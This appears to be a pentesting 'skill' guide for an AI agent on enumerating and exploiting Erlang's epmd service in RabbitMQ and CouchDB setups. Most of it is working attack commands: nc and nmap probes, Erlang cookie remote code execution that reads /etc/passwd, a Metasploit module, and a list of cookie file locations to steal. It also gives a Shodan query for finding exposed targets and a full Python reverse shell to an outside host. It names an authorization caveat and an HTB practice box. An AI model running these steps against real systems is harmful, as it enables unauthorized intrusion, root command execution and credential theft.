EPMD Pentesting Skill

This skill helps you enumerate and exploit the Erlang Port Mapper Daemon (epmd) service, commonly found on port 4369 in RabbitMQ and CouchDB installations.

When to Use This Skill

• Port 4369 is open during network scanning
• You're assessing RabbitMQ or CouchDB infrastructure
• You need to enumerate Erlang node names and ports
• You have access to an Erlang cookie and want to attempt RCE
• You're doing distributed Erlang security assessments

Enumeration

Quick Manual Check

Send a raw EPMD query to verify the service is responding:

echo -n -e "\x00\x01\x6e" | nc -vn <TARGET_IP> 4369

This sends a name query (0x6e = 'n') to the EPMD daemon. A response indicates the service is active.

Nmap Enumeration

Use Nmap's epmd-info script for comprehensive enumeration:

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <TARGET_IP>

This reveals:

• EPMD port number
• All registered Erlang nodes
• Port mappings for each node

Example output:

| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|_    kazoo-rabbitmq: 25672

Erlang Client Enumeration

If you have Erlang installed, you can query node names directly:

# Install Erlang (Ubuntu/Debian)
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
# or
apt-get install erlang

# Start Erlang shell and query
erl
1> net_adm:names('<TARGET_HOST>').

This returns the listening addresses for the target host.

Erlang Cookie RCE

The Erlang cookie is the authentication mechanism for distributed Erlang. If you can obtain it, you can execute arbitrary code on the target.

Cookie Location

The cookie is typically stored in:

• ~/.erlang.cookie

  on the target system
• Generated as a random 20-character string [A-Z] on first Erlang start
• May be configured manually in some deployments

Remote Code Execution

Once you have the cookie, connect remotely:

erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn

This opens an Erlang shell on the remote system. Execute commands:

(test@target.fqdn)1> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

(test@target.fqdn)2> os:cmd("cat /etc/passwd").

Local Privilege Escalation (CouchDB)

If you're already on the system and have the cookie, abuse CouchDB for privilege escalation:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE

Then execute commands via RPC:

(anonymous@localhost)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"

(anonymous@localhost)2> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" ]).

Metasploit Exploitation

Metasploit has a module for Erlang cookie RCE:

msfconsole
use exploit/multi/misc/erlang_cookie_rce
set RHOSTS <TARGET_IP>
set ERLANG_COOKIE <YOUR_COOKIE>
set TARGETNAME <node@target>
exploit

Cookie Discovery Techniques

Brute Force

If the cookie is weak or predictable, you can attempt brute force:

• Use epmd_bf tool (available from security research sources)
• Try common default cookies
• Check for cookies in configuration files
• Look for cookies in environment variables

Information Gathering

Check these locations for exposed cookies:

• /etc/rabbitmq/erlang.cookie

• /var/lib/rabbitmq/.erlang.cookie

• /opt/couchdb/etc/vm.args

• Application configuration files
• Environment variables in process listings

Shodan Reconnaissance

Find exposed EPMD services on the internet:

# Shodan query for EPMD services
port:4369 "at port"

This can help identify:

• Internet-facing EPMD instances
• Potential targets for assessment
• Misconfigured services

Safety and Legal Considerations

• Only test systems you have explicit authorization to assess
• EPMD exploitation can cause service disruption
• Document all findings and coordinate with system owners
• Follow responsible disclosure practices

Practice Environment

The Canape HTB machine provides a safe environment to practice EPMD exploitation techniques.

References

• Erlang Distribution RCE and Cookie Brute Forcer
• HTB Canape Walkthrough
• Erlang Documentation